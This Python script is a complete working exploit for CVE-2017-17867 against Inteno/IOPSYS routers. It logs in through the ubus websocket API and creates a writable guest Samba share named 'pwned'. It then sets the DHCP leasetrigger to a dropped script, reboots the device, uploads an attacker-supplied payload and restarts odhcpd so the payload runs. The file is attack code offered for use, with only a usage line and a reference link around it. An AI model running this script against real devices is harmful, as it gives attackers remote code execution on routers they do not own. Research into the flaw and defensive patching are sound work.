inteno-exploits/cve-2017-17867.py

187 lines
4.9 KiB
Python
Executable File

#!/usr/bin/env python3
# Usage: cve-2017-17867.py <ip> <username> <password> <payload file>
# Details: https://neonsea.uk/blog/2017/12/23/rce-inteno-iopsys.html
import json
import sys
import subprocess
import socket
import os
from time import sleep
from websocket import create_connection
def ubusAuth(host, username, password):
ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps(
{
"jsonrpc": "2.0",
"method": "call",
"params": [
"00000000000000000000000000000000",
"session",
"login",
{"username": username, "password": password},
],
"id": 666,
}
)
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
key = response.get("result")[1].get("ubus_rpc_session")
except IndexError:
return None
return key
def ubusCall(host, key, namespace, argument, params={}):
ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps(
{
"jsonrpc": "2.0",
"method": "call",
"params": [key, namespace, argument, params],
"id": 666,
}
)
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
result = response.get("result")[1]
except IndexError:
if response.get("result")[0] == 0:
return True
return None
return result
def getArguments():
if len(sys.argv) != 5:
print(f"Usage: {sys.argv[0]} <ip> <username> <password> <payload file>")
sys.exit(1)
else:
return sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
if __name__ == "__main__":
host, user, password, file = getArguments()
print("Authenticating...")
key = ubusAuth(host, user, password)
if not key:
print("Auth failed!")
sys.exit(1)
print("Got key: %s" % key)
print("Adding Samba share...")
smbcheck = json.dumps(ubusCall(host, key, "uci", "get", {"config": "samba"}))
if "pwned" in smbcheck:
print("Samba share seems to already exist, skipping")
else:
smba = ubusCall(
host,
key,
"uci",
"add",
{
"config": "samba",
"type": "sambashare",
"values": {
"name": "pwned",
"read_only": "no",
"create_mask": "0775",
"dir_mask": "0775",
"path": "/mnt/",
"guest_ok": "yes",
},
},
)
if not smba:
print("Adding Samba share failed!")
sys.exit(1)
print("Enabling Samba...")
smbe = ubusCall(
host,
key,
"uci",
"set",
{"config": "samba", "type": "samba", "values": {"interface": "lan"}},
)
if not smbe:
print("Enabling Samba failed!")
sys.exit(1)
print("Committing changes...")
smbc = ubusCall(host, key, "uci", "commit", {"config": "samba"})
if not smbc:
print("Committing changes failed!")
sys.exit(1)
print("Setting malicious leasetrigger...")
lts = ubusCall(
host,
key,
"uci",
"set",
{"config": "dhcp", "type": "odhcpd", "values": {"leasetrigger": "/mnt/pwn.sh"}},
)
if not lts:
print("Setting leasetrigger failed!")
sys.exit(1)
print("Committing changes...")
ltc = ubusCall(host, key, "uci", "commit", {"config": "dhcp"})
if not ltc:
print("Committing changes failed!")
sys.exit(1)
print("Rebooting system...")
reb = ubusCall(host, key, "juci.system", "reboot")
if not reb:
print("Rebooting failed, try rebooting manually!")
sys.exit(1)
print("Waiting on reboot...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
isUp = None
while not isUp:
try:
sleep(10)
s.connect((host, 8080))
isUp = True
s.close()
except:
pass
print("Dropping payload...")
subprocess.run(
r"smbclient \\\\%s\\pwned p -c 'put %s pwn.sh'" % (host, file),
shell=True,
check=True,
)
print("Payload dropped")
print("Authenticating...")
key = ubusAuth(host, user, password)
if not key:
print("Auth failed!")
sys.exit(1)
print("Got key: %s" % key)
print("Executing payload")
eec = ubusCall(host, key, "juci.service", "stop", {"name": "odhcpd"})
if not eec:
print("Stopping odhcpd failed!")
sys.exit(1)
ees = ubusCall(host, key, "juci.service", "start", {"name": "odhcpd"})
if not ees:
print("Starting odhcpd failed!")
sys.exit(1)
print("Exploitation complete")